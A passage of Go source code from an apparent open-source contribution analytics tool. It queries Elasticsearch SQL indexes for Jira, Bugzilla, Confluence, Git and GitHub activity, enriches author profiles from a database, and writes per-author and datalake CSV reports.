30f4c2f64cf70d52ed96b4e2fd7f46ae3b59c728 lfn/pnda 2021-09-07T05:42:55.185Z issue] // [053c26541dd50c096e316a38feded0cb1225c051 e439d8d016a641d90ca408b9014afc675d55ad50 hyperledger/cello 2021-09-07T13:57:20.029Z comment] documentID, _ := row[0].(string) identityID, _ := row[1].(string) if !overrideProjectSlug { pSlug, _ = row[2].(string) } if row[3] == nil { skipped++ continue } createdAt, _ := timeParseES(row[3].(string)) actionType, _ := row[4].(string) // status, _ := row[5].(string) item := datalakeIssueReportItem{ docID: documentID, identityID: identityID, dataSource: ""jira"", projectSlug: pSlug, sfSlug: sfName, createdAt: createdAt, actionType: ""jira_"" + actionType, filtered: false, } issueItems = append(issueItems, item) } if skipped > 0 { fmt.Printf(""%s: skipped %d/%d rows due to missing %s\n"", pattern, skipped, len(result.Rows), cCreatedAtColumn) } } processResults() page := 1 for { if result.Cursor == """" { break } data = `{""cursor"":""` + result.Cursor + `""}` //fmt.Printf(""data=%s\n"", data) payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { fmt.Printf(""datalakeJiraIssueReportForRoot: error for %s: %v\n"", pattern, result.Error) break } if len(result.Rows) == 0 { break } page++ if gDbg || gProgress { fmt.Printf(""%s: processing #%d page...\n"", pattern, page) } processResults() } if result.Cursor == """" { return } url = gESURL + ""/_sql/close"" data = `{""cursor"":""` + result.Cursor + `""}` payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() return } // subrep func datalakeBugzillaIssueReportForRoot(root, projectSlug, sfName string, overrideProjectSlug, rest bool) (issueItems []datalakeIssueReportItem) { ds := ""bugzilla"" if rest { ds += ""rest"" } if gDbg { defer func() { fmt.Printf(""got %s issue %s: %v\n"", ds, root, issueItems) }() } pattern := jsonEscape(""sds-"" + root + ""-"" + ds + ""*,-*-raw,-*-for-merge,-*-cache,-*-converted,-*-temp,-*-last-action-date-cache"") method := ""POST"" // can also get status and/or status_category_key // TODO: is uuid an unique document key in bugzilla? var data string data = fmt.Sprintf( `{""query"":""select uuid, author_id, %s, status from \""%s\"" `+ `where author_id is not null"",""fetch_size"":%d}`, cCreatedAtColumn, pattern, 10000, ) if gDbg { fmt.Printf(""%s:%s\n"", pattern, data) } payloadBytes := []byte(data) payloadBody := bytes.NewReader(payloadBytes) url := gESURL + ""/_sql?format=json"" req, err := http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err := http.DefaultClient.Do(req) fatalError(err) body, err := ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() var result resultType err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { // Missing index error in this case is allowed status := reportThisError(result.Error) if gDbg || status > 0 { fmt.Printf(""datalakeBugzillaIssueReportForRoot: error for %s: %v\n"", pattern, result.Error) } return } if len(result.Rows) == 0 { return } processResults := func() { skipped := 0 for _, row := range result.Rows { // [5be4b29396a72501206f561082f2f87f696bc9ef 29dbe15b5c802d2e32e9d02a76798815660005b8 2021-10-04T19:52:27.208Z RESOLVED] // [16e6334b1385f7ff83dac3cd322dfd3ecfdc8f5e 77f6e01aaac4e573205fb8e8097b91b253f76067 2021-10-04T19:52:29.152Z UNCONFIRMED] documentID, _ := row[0].(string) identityID, _ := row[1].(string) // Skip rows having no enriched date if row[2] == nil { skipped++ continue } createdAt, _ := timeParseES(row[2].(string)) status, _ := row[3].(string) item := datalakeIssueReportItem{ docID: documentID, identityID: identityID, dataSource: ds, projectSlug: projectSlug, sfSlug: sfName, createdAt: createdAt, actionType: ""bugzilla:"" + status, filtered: false, } issueItems = append(issueItems, item) } if skipped > 0 { fmt.Printf(""%s: skipped %d/%d rows due to missing %s\n"", pattern, skipped, len(result.Rows), cCreatedAtColumn) } } processResults() page := 1 for { if result.Cursor == """" { break } data = `{""cursor"":""` + result.Cursor + `""}` //fmt.Printf(""data=%s\n"", data) payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { fmt.Printf(""datalakeBugzillaIssueReportForRoot: error for %s: %v\n"", pattern, result.Error) break } if len(result.Rows) == 0 { break } page++ if gDbg || gProgress { fmt.Printf(""%s: processing #%d page...\n"", pattern, page) } processResults() } if result.Cursor == """" { return } url = gESURL + ""/_sql/close"" data = `{""cursor"":""` + result.Cursor + `""}` payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() return } // subrep func datalakeDocReportForRoot(root, projectSlug, sfName string, overrideProjectSlug, missingCol bool) (docItems []datalakeDocReportItem, retry bool) { if gDbg { defer func() { fmt.Printf(""got docs %s: %v\n"", root, docItems) }() } pattern := jsonEscape(""sds-"" + root + ""-confluence*,-*-raw,-*-for-merge,-*-cache,-*-converted,-*-temp,-*-last-action-date-cache"") method := ""POST"" var data string if missingCol { data = fmt.Sprintf( `{""query"":""select uuid, author_id, '%s', %s, type from \""%s\"" `+ `where author_id is not null"",""fetch_size"":%d}`, projectSlug, cCreatedAtColumn, pattern, 10000, ) } else { data = fmt.Sprintf( `{""query"":""select uuid, author_id, project_slug, %s, type from \""%s\"" `+ `where author_id is not null"",""fetch_size"":%d}`, cCreatedAtColumn, pattern, 10000, ) } if gDbg { fmt.Printf(""%s:%s\n"", pattern, data) } payloadBytes := []byte(data) payloadBody := bytes.NewReader(payloadBytes) url := gESURL + ""/_sql?format=json"" req, err := http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err := http.DefaultClient.Do(req) fatalError(err) body, err := ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() var result resultType err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { // Missing index error in this case is allowed status := reportThisError(result.Error) if gDbg || status > 0 { fmt.Printf(""datalakeDocReportForRoot: error for %s: %v\n"", pattern, result.Error) } if status < 0 { retry = true } return } if len(result.Rows) == 0 { return } var pSlug string if overrideProjectSlug { pSlug = projectSlug } processResults := func() { skipped := 0 for _, row := range result.Rows { // [cff117ac4b479e31473727cd775f7e96746e7e7e 9e7702dd25aac483d9104b4ba93fa1b73c751083 academy-software-foundation/academy-software-foundation-common 2021-10-01T05:14:53.931Z page] documentID, _ := row[0].(string) identityID, _ := row[1].(string) if !overrideProjectSlug { pSlug, _ = row[2].(string) } // Skip rows having no enriched date if row[3] == nil { skipped++ continue } createdAt, _ := timeParseES(row[3].(string)) actionType, _ := row[4].(string) item := datalakeDocReportItem{ docID: documentID, identityID: identityID, dataSource: ""confluence"", projectSlug: pSlug, sfSlug: sfName, createdAt: createdAt, actionType: actionType, filtered: false, } docItems = append(docItems, item) } if skipped > 0 { fmt.Printf(""%s: skipped %d/%d rows due to missing %s\n"", pattern, skipped, len(result.Rows), cCreatedAtColumn) } } processResults() page := 1 for { if result.Cursor == """" { break } data = `{""cursor"":""` + result.Cursor + `""}` //fmt.Printf(""data=%s\n"", data) payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { fmt.Printf(""datalakeDocReportForRoot: error for %s: %v\n"", pattern, result.Error) break } if len(result.Rows) == 0 { break } page++ if gDbg || gProgress { fmt.Printf(""%s: processing #%d page...\n"", pattern, page) } processResults() } if result.Cursor == """" { return } url = gESURL + ""/_sql/close"" data = `{""cursor"":""` + result.Cursor + `""}` payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() return } // subrep func datalakeReportForRoot(ch chan datalakeReport, msg, root string, dataSourceTypes []string, bLOC, bDocs, bPRs, bIssues bool) (itemData datalakeReport) { defer func() { gDtMtx.Lock() defer gDtMtx.Unlock() now := time.Now() ago := now.Sub(gDt) // fmt.Printf(""%f %s\n"", ago.Seconds(), root) if ago.Seconds() > 10.0 { fmt.Printf(""%s current: %s\n"", msg, root) gDt = now } ch <- itemData }() daName, sfName, found := applySlugMapping(root, false) var retry bool if gDbg { fmt.Printf(""running for: %s %v -> %s,%s,%v\n"", root, dataSourceTypes, daName, sfName, found) } if bLOC { itemData.locItems, retry = datalakeLOCReportForRoot(root, daName, sfName, found, false) if retry { itemData.locItems, _ = datalakeLOCReportForRoot(root, daName, sfName, found, true) } } if bDocs { itemData.docItems, retry = datalakeDocReportForRoot(root, daName, sfName, found, false) if retry { itemData.docItems, _ = datalakeDocReportForRoot(root, daName, sfName, found, true) } } if bPRs { itemData.prItems, retry = datalakeGithubPRReportForRoot(root, daName, sfName, found, false) if retry { itemData.prItems, _ = datalakeGithubPRReportForRoot(root, daName, sfName, found, true) } prItems, retry := datalakeGerritReviewReportForRoot(root, daName, sfName, found, false) if retry { prItems, _ = datalakeGerritReviewReportForRoot(root, daName, sfName, found, true) } if len(prItems) > 0 { itemData.prItems = append(itemData.prItems, prItems...) } } if bIssues { itemData.issueItems, retry = datalakeGithubIssueReportForRoot(root, daName, sfName, found, false) if retry { itemData.issueItems, _ = datalakeGithubIssueReportForRoot(root, daName, sfName, found, true) } issueItems, retry := datalakeJiraIssueReportForRoot(root, daName, sfName, found, false) if retry { issueItems, _ = datalakeJiraIssueReportForRoot(root, daName, sfName, found, true) } if len(issueItems) > 0 { itemData.issueItems = append(itemData.issueItems, issueItems...) } issueItems = datalakeBugzillaIssueReportForRoot(root, daName, sfName, found, false) if len(issueItems) > 0 { itemData.issueItems = append(itemData.issueItems, issueItems...) } issueItems = datalakeBugzillaIssueReportForRoot(root, daName, sfName, found, true) if len(issueItems) > 0 { itemData.issueItems = append(itemData.issueItems, issueItems...) } } return } func orgReportForRoot(ch chan []contribReportItem, root string) (items []contribReportItem) { defer func() { ch <- items }() _, sfName, _ := applySlugMapping(root, true) // fmt.Printf(""running for: %s -> %s\n"", root, sfName) pattern := jsonEscape(""sds-"" + root + ""-*,-*-raw,-*-for-merge,-*-cache,-*-converted,-*-temp,-*-last-action-date-cache"") method := ""POST"" data := fmt.Sprintf( `{""query"":""select author_uuid, count(*) as cnt, min(metadata__updated_on) as f, max(metadata__updated_on) as t, project from \""%s\"" `+ `where author_org_name = '%s' and metadata__updated_on >= '%s' and metadata__updated_on < '%s' group by author_uuid, project"",""fetch_size"":%d}`, pattern, gOrg, gFrom, gTo, 10000, ) payloadBytes := []byte(data) payloadBody := bytes.NewReader(payloadBytes) url := gESURL + ""/_sql?format=json"" req, err := http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err := http.DefaultClient.Do(req) fatalError(err) body, err := ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() var result resultType err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { // Missing index error in this case is allowed if gDbg || reportThisErrorOrg(result.Error) { fmt.Printf(""error for %s: %v\n"", pattern, result.Error) } return } if len(result.Rows) == 0 { return } processResults := func() { for _, row := range result.Rows { // [uuidstr 6 2019-06-25T06:07:45.000Z 2019-07-05T23:17:20.000Z subproj] uuid, _ := row[0].(string) fN, _ := row[1].(float64) n := int(fN) from, _ := timeParseES(row[2].(string)) to, _ := timeParseES(row[3].(string)) subProject, _ := row[4].(string) if subProject == """" { subProject = ""-"" } item := contribReportItem{ uuid: uuid, n: n, from: from, to: to, project: sfName, subProject: subProject, root: root, } items = append(items, item) } } processResults() page := 1 for { if result.Cursor == """" { break } data = `{""cursor"":""` + result.Cursor + `""}` //fmt.Printf(""data=%s\n"", data) payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { fmt.Printf(""error for %s: %v\n"", pattern, result.Error) break } if len(result.Rows) == 0 { break } page++ if gDbg || gProgress { fmt.Printf(""%s: processing #%d page...\n"", pattern, page) } processResults() } if result.Cursor == """" { return } url = gESURL + ""/_sql/close"" data = `{""cursor"":""` + result.Cursor + `""}` payloadBytes = []byte(data) payloadBody = bytes.NewReader(payloadBytes) req, err = http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err = http.DefaultClient.Do(req) fatalError(err) body, err = ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() // fmt.Printf(""%s -> %s: %v\n"", root, sfName, items) /* if len(items) > 0 { fmt.Printf(""%s -> %s: %+v\n"", root, sfName, items) } */ return } func enrichOtherMetrics(ch chan struct{}, mtx *sync.RWMutex, report *contribReport, idx int) { defer func() { ch <- struct{}{} }() // other items: // commits, loc_added, loc_deleted. // prAct: total PR Activity (PRs submitted + reviewed + approved + merged + review comments + PR comments). // issueAct: total Issue Activity (issues submitted + issues closed + issue comments), note: we don't have data about who closed an issue. mtx.RLock() item := report.items[idx] root := item.root uuid := item.uuid subProject := item.subProject mtx.RUnlock() var projectCond string if subProject == """" { projectCond = ""(project = '' or project is null)"" } else { projectCond = ""project = '"" + subProject + ""'"" } method := ""POST"" url := gESURL + ""/_sql?format=json"" var result resultType githubPattern := jsonEscape(""sds-"" + root + ""-github-issue"") gitPattern := jsonEscape(""sds-"" + root + ""-git"") processGit := func() { data := fmt.Sprintf( // FIXME: once da-ds git is eabled // `{""query"":""select count(distinct hash) as commits, sum(lines_added) as loc_added, sum(lines_removed) as loc_removed from \""%s\"" where type = 'commit' and hash is not null and author_uuid = '%s' and metadata__updated_on >= '%s' and metadata__updated_on < '%s' and %s"",""fetch_size"":%d}`, `{""query"":""select count(distinct hash) as commits, sum(lines_added) as loc_added, sum(lines_removed) as loc_removed from \""%s\"" where hash is not null and author_uuid = '%s' and metadata__updated_on >= '%s' and metadata__updated_on < '%s' and %s"",""fetch_size"":%d}`, gitPattern, uuid, gFrom, gTo, projectCond, 10000, ) payloadBytes := []byte(data) payloadBody := bytes.NewReader(payloadBytes) req, err := http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err := http.DefaultClient.Do(req) fatalError(err) body, err := ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { fmt.Printf(""error for %s/%s: %v\n"", gitPattern, uuid, result.Error) return } if len(result.Rows) == 0 { return } for _, row := range result.Rows { // [0 ] or [159 9097 2295] fCommits, _ := row[0].(float64) fLOCAdded, _ := row[1].(float64) fLOCDeleted, _ := row[2].(float64) commits := int(fCommits) locAdded := int(fLOCAdded) locDeleted := int(fLOCDeleted) mtx.Lock() report.items[idx].commits = commits report.items[idx].locAdded = locAdded report.items[idx].locDeleted = locDeleted mtx.Unlock() } } processGitHubPR := func() { data := fmt.Sprintf( // FIXME: if we want more PR related events // `{""query"":""select count(distinct id) as pr_activity from \""%s\"" where type in ('pull_request', 'pull_request_review', 'pull_request_comment', 'pull_request_requested_reviewer', 'pull_request_assignee', 'pull_request_comment_reaction') and (author_uuid = '%s' or user_data_uuid = '%s' or merged_by_data_uuid = '%s') and metadata__updated_on >= '%s' and metadata__updated_on < '%s' and %s"",""fetch_size"":%d}`, `{""query"":""select count(distinct id) as pr_activity from \""%s\"" where type in ('pull_request', 'pull_request_review', 'pull_request_comment') and (author_uuid = '%s' or user_data_uuid = '%s' or merged_by_data_uuid = '%s') and metadata__updated_on >= '%s' and metadata__updated_on < '%s' and %s"",""fetch_size"":%d}`, githubPattern, uuid, uuid, uuid, gFrom, gTo, projectCond, 10000, ) payloadBytes := []byte(data) payloadBody := bytes.NewReader(payloadBytes) req, err := http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err := http.DefaultClient.Do(req) fatalError(err) body, err := ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { fmt.Printf(""error for %s/%s: %v\n"", githubPattern, uuid, result.Error) return } if len(result.Rows) == 0 { return } for _, row := range result.Rows { // [0] or [] fAct, _ := row[0].(float64) act := int(fAct) mtx.Lock() report.items[idx].prAct = act mtx.Unlock() } } processGitHubIssue := func() { data := fmt.Sprintf( // FIXME: if we want more issue related events //`{""query"":""select count(distinct id) as issue_activity from \""%s\"" where type in ('issue', 'issue_comment', 'issue_assignee', 'issue_comment_reaction', 'issue_reaction') and (author_uuid = '%s' or user_data_uuid = '%s') and metadata__updated_on >= '%s' and metadata__updated_on < '%s' and %s"",""fetch_size"":%d}`, `{""query"":""select count(distinct id) as issue_activity from \""%s\"" where type in ('issue', 'issue_comment') and (author_uuid = '%s' or user_data_uuid = '%s') and metadata__updated_on >= '%s' and metadata__updated_on < '%s' and %s"",""fetch_size"":%d}`, githubPattern, uuid, uuid, gFrom, gTo, projectCond, 10000, ) payloadBytes := []byte(data) payloadBody := bytes.NewReader(payloadBytes) req, err := http.NewRequest(method, url, payloadBody) fatalError(err) req.Header.Set(""Content-Type"", ""application/json"") resp, err := http.DefaultClient.Do(req) fatalError(err) body, err := ioutil.ReadAll(resp.Body) fatalError(err) _ = resp.Body.Close() err = jsoniter.Unmarshal(body, &result) fatalError(err) if result.Error.Type != """" || result.Error.Reason != """" { fmt.Printf(""error for %s/%s: %v\n"", githubPattern, uuid, result.Error) return } if len(result.Rows) == 0 { return } for _, row := range result.Rows { // [0] or [] fAct, _ := row[0].(float64) act := int(fAct) mtx.Lock() report.items[idx].issueAct = act mtx.Unlock() } } _, ok := gAll[gitPattern] if ok { processGit() } _, ok = gAll[githubPattern] if ok { processGitHubPR() processGitHubIssue() } } func enrichOrgReport(report *contribReport) { mtx := &sync.RWMutex{} shCh := make(chan struct{}) go func(ch chan struct{}) { defer func() { ch <- struct{}{} }() uuids := make(map[string][]string) for _, item := range report.items { uuids[item.uuid] = []string{} } nUUIDs := len(uuids) if nUUIDs == 0 { return } uuidsAry := []string{} for uuid := range uuids { uuidsAry = append(uuidsAry, uuid) } packSize := 1000 nPacks := nUUIDs / packSize if nUUIDs%packSize != 0 { nPacks++ } for i := 0; i < nPacks; i++ { from := i * packSize to := from + packSize if to > nUUIDs { to = nUUIDs } args := []interface{}{} query := ""select uuid, name, email from profiles where uuid in("" for _, uuid := range uuidsAry[from:to] { query += ""?,"" args = append(args, uuid) } query = query[:len(query)-1] + "")"" rows, err := gDB.Query(query, args...) fatalError(err) var ( uuid string pName *string pEmail *string ) for rows.Next() { err = rows.Scan(&uuid, &pName, &pEmail) fatalError(err) name, email := """", """" if pName != nil { name = *pName } if pEmail != nil { email = *pEmail } uuids[uuid] = []string{name, email} } fatalError(rows.Err()) fatalError(rows.Close()) } for i, item := range report.items { data, ok := uuids[item.uuid] if !ok || (ok && len(data) == 0) { fmt.Printf(""uuid %s not found in the database\n"", item.uuid) continue } mtx.Lock() report.items[i].name = data[0] report.items[i].email = data[1] mtx.Unlock() } }(shCh) // Enrich other per-author metrics thrN := runtime.NumCPU() if gMaxThreads > 0 && thrN > gMaxThreads { thrN = gMaxThreads } ch := make(chan struct{}) nThreads := 0 for i := range report.items { go enrichOtherMetrics(ch, mtx, report, i) nThreads++ if nThreads == thrN { <-ch nThreads-- } } for nThreads > 0 { <-ch nThreads-- } <-shCh } func summaryOrgReport(report *contribReport) { // Summary is for all projects combined // name,email,project,sub_project,contributions,commits,loc_added,loc_deleted,pr_activity,issue_activity,from,to,uuid -> name,email,contributions,commits,loc_added,loc_deleted,pr_activity,issue_activity,from,to,uuid report.summary = make(map[string]contribReportItem) for _, item := range report.items { uuid := item.uuid sItem, ok := report.summary[uuid] if !ok { sItem = item sItem.project = """" sItem.subProject = """" report.summary[uuid] = sItem continue } sItem.n += item.n sItem.commits += item.commits sItem.locAdded += item.locAdded sItem.locDeleted += item.locDeleted sItem.prAct += item.prAct sItem.issueAct += item.issueAct if sItem.from.After(item.from) { sItem.from = item.from } if sItem.to.Before(item.to) { sItem.to = item.to } report.summary[uuid] = sItem } } func saveOrgReport(report []contribReportItem) { rows := [][]string{} for _, item := range report { row := []string{ item.name, item.email, item.project, item.subProject, strconv.Itoa(item.n), strconv.Itoa(item.commits), strconv.Itoa(item.locAdded), strconv.Itoa(item.locDeleted), strconv.Itoa(item.prAct), strconv.Itoa(item.issueAct), toMDYDate(item.from), toMDYDate(item.to), item.uuid, } rows = append(rows, row) } sort.Slice( rows, func(i, j int) bool { iN, _ := strconv.Atoi(rows[i][4]) jN, _ := strconv.Atoi(rows[j][4]) if iN == jN { for k := 0; k <= 3; k++ { if rows[i][k] != rows[j][k] { return rows[i][k] > rows[j][k] } } } return iN > jN }, ) var writer *csv.Writer fn := gNamePrefix + ""report.csv"" file, err := os.Create(fn) fatalError(err) defer func() { _ = file.Close() }() writer = csv.NewWriter(file) defer writer.Flush() fatalError(writer.Write([]string{""name"", ""email"", ""project"", ""sub_project"", ""contributions"", ""commits"", ""loc_added"", ""loc_deleted"", ""pr_activity"", ""issue_activity"", ""from"", ""to"", ""uuid""})) for _, row := range rows { fatalError(writer.Write(row)) } fmt.Printf(""%s saved\n"", fn) } func saveSummaryOrgReport(report map[string]contribReportItem) { rows := [][]string{} for _, item := range report { row := []string{ item.name, item.email, strconv.Itoa(item.n), strconv.Itoa(item.commits), strconv.Itoa(item.locAdded), strconv.Itoa(item.locDeleted), strconv.Itoa(item.prAct), strconv.Itoa(item.issueAct), toMDYDate(item.from), toMDYDate(item.to), item.uuid, } rows = append(rows, row) } sort.Slice( rows, func(i, j int) bool { iN, _ := strconv.Atoi(rows[i][2]) jN, _ := strconv.Atoi(rows[j][2]) if iN == jN { for k := 0; k <= 1; k++ { if rows[i][k] != rows[j][k] { return rows[i][k] > rows[j][k] } } } return iN > jN }, ) var writer *csv.Writer fn := gNamePrefix + ""summary.csv"" file, err := os.Create(fn) fatalError(err) defer func() { _ = file.Close() }() writer = csv.NewWriter(file) defer writer.Flush() fatalError(writer.Write([]string{""name"", ""email"", ""contributions"", ""commits"", ""loc_added"", ""loc_deleted"", ""pr_activity"", ""issue_activity"", ""from"", ""to"", ""uuid""})) for _, row := range rows { fatalError(writer.Write(row)) } fmt.Printf(""%s saved\n"", fn) } // subrep func saveDatalakeLOCReport(report []datalakeLOCReportItem) { rows := [][]string{} for _, item := range report { filtered := ""0"" if item.filtered { filtered = ""1"" } row := []string{ item.docID, item.identityID, item.dataSource, item.projectSlug, item.sfSlug, toYMDHMSDate(item.createdAt), strconv.Itoa(item.locAdded), strconv.Itoa(item.locDeleted), } if gFiltered { row = append(row, filtered) } rows = append(rows, row) } sort.Slice( rows, func(i, j int) bool { return rows[i][5] > rows[j][5] }, ) var writer *csv.Writer fn := gNamePrefix + ""datalake_loc.csv"" file, err := os.Create(fn) fatalError(err) defer func() { _ = file.Close() }() writer = csv.NewWriter(file) defer writer.Flush() if gFiltered { fatalError(writer.Write([]string{""document_id"", ""identity_id"", ""datasource"", ""insights_project_slug"", ""project_slug"", ""created_at"", ""loc_added"", ""loc_deleted"", ""filtered""})) } else { fatalError(writer.Write([]string{""document_id"", ""identity_id"", ""datasource"", ""insights_project_slug"", ""project_slug"", ""created_at"", ""loc_added"", ""loc_deleted""})) } for _, row := range rows { fatalError(writer.Write(row)) } fmt.Printf(""%s saved\n"", fn) } func toIssueType(inType string) string { switch inType { case ""issue"": return ""GitHub issue created"" case ""issue_assignee"": return ""GitHub issue assignment"" case ""issue_comment"": return ""GitHub issue comment"" case ""issue_comment_reaction"": return ""GitHub issue comment reaction"" case ""issue_reaction"": return ""GitHub issue reaction"" case ""jira_issue"": return ""Jira issue created"" case ""jira_comment"": return ""Jira comment added"" default: if strings.HasPrefix(inType, ""bugzilla:"") { status := inType[9:] return ""Bugzilla issue "" + strings.Replace(strings.ToLower(strings.TrimSpace(status)), ""_"", "" "", -1) } return ""?"" } } func toPRType(inType string) string { switch inType { case ""pull_request"": return ""GitHub PR submitted"" case ""pull_request_assignee"": return ""GitHub PR assignment"" case ""pull_request_comment"": return ""GitHub PR comment"" case ""pull_request_comment_reaction"": return ""GitHub PR reaction"" case ""pull_request_requested_reviewer"": return ""GitHub PR requested reviewer assignment"" case ""pull_request_review"": // should not happen - we're splitting this into separate approval states return ""GitHub PR review"" case ""GitHub PR approved"", ""GitHub PR changes requested"", ""GitHub PR dismissed"", ""GitHub PR review comment"", ""PR merged"", ""Gerrit review rejected"", ""Gerrit review approved"": return inType case ""approval"": // should not happen - we're splitting this into separate approval states return ""Gerrit approval added"" case ""changeset"": return ""Gerrit change set created"" case ""comment"": return ""Gerrit comment"" case ""patchset"": return ""Gerrit patch set created"" default: fmt.Printf(""unknown PR action type: %s\n"", inType) return ""?"" } } // subrep func saveDatalakePRsReport(report []datalakePRReportItem) { rows := [][]string{} for _, item := range report { filtered := ""0"" if item.filtered { filtered = ""1"" } row := []string{ item.docID, item.identityID, item.dataSource, item.projectSlug, item.sfSlug, toYMDHMSDate(item.createdAt), toPRType(item.actionType), } if gFiltered { row = append(row, filtered) } rows = append(rows, row) } sort.Slice( rows, func(i, j int) bool { return rows[i][5] > rows[j][5] }, ) var writer *csv.Writer fn := gNamePrefix + ""datalake_prs.csv"" file, err := os.Create(fn) fatalError(err) defer func() { _ = file.Close() }() writer = csv.NewWriter(file) defer writer.Flush() if gFiltered { fatalError(writer.Write([]string{""document_id"", ""identity_id"", ""datasource"", ""insights_project_slug"", ""project_slug"", ""created_at"", ""type"", ""filtered""})) } else { fatalError(writer.Write([]string{""document_id"", ""identity_id"", ""datasource"", ""insights_project_slug"", ""project_slug"", ""created_at"", ""type""})) } for _, row := range rows { fatalError(writer.Write(row)) } fmt.Printf(""%s saved\n"", fn) } // subrep func saveDatalakeIssuesReport(report []datalakeIssueReportItem) { rows := [][]string{} for _, item := range report { filtered := ""0"" if item.filtered { filtered = ""1"" } row := []string{ item.docID, item.identityID, item.dataSource, item.projectSlug, item.sfSlug, toYMDHMSDate(item.createdAt), toIssueType(item.actionType), } if gFiltered { row = append(row, filtered) } rows = append(rows, row) } sort.Slice( rows, func(i, j int) bool { return rows[i][5] > rows[j][5] }, ) var writer *csv.Writer fn := gNamePrefix + ""datalake_issues.csv"" file, err := os.Create(fn) fatalError(err) defer func() { _ = file.Close() }() writer = csv.NewWriter(file) defer writer.Flush() if gFiltered { fatalError(writer.Write([]string{""document_id"", ""identity_id"", ""datasource"", ""insights_project_slug"", ""project_slug"", ""created_at"", ""type"", ""filtered""})) } else { fatalError(writer.Write([]string{""document_id"", ""identity_id"", ""datasource"", ""insights_project_slug"", ""project_slug"", ""created_at"", ""type""})) } for _, row := range rows { fatalError(writer.Write(row)) } fmt.Printf(""%s saved\n"", fn) } func toDocType(inType string) string { switch inType { case ""attachment"": return ""Confluence attachment added"" case ""comment"": return ""Confluence page commented"" case ""new_page"": return ""Confluence page created"" case ""page"": return ""Confluence page edited"" default: return ""?"" } } // subrep func saveDatalakeDocsReport(report []datalakeDocReportItem) { rows := [][]string{} for _, item := range report { filtered := ""0"" if item.filtered { filtered = ""1"" } row := []string{ item.docID, item.identityID, item.dataSource, item.projectSlug, item.sfSlug, toYMDHMSDate(item.createdAt), toDocType(item.actionType), } if gFiltered { row = append(row, filtered) } rows = append(rows, row) } sort.Slice( rows, func(i, j int) bool { return rows[i][5] > rows[j][5] }, ) var writer *csv.Writer fn := gNamePrefix + ""datalake_docs.csv"" file, err := os.Create(fn) fatalError(err) defer func() { _ = file.Close() }() writer = csv.NewWriter(file) defer writer.Flush() if gFiltered { fatalError(writer.Write([]string{""document_id"", ""identity_id"", ""datasource"", ""insights_project_slug"", ""project_slug"", ""created_at"", ""type"", ""filtered""})) } else { fatalError(writer.Write([]string{""document_id"", ""identity_id"", ""datasource"", ""insights_project_slug"", ""project_slug"", ""created_at"", ""type""})) } for _, row := range rows { fatalError(writer.Write(row)) } fmt.Printf(""%s saved\n"", fn) } func genOrgReport(roots, dataSourceTypes []string) { thrN := runtime.NumCPU() if gMaxThreads > 0 && thrN > gMaxThreads { thrN = gMaxThreads } // thrN = 1 // if len(roots) > 20 { // roots = 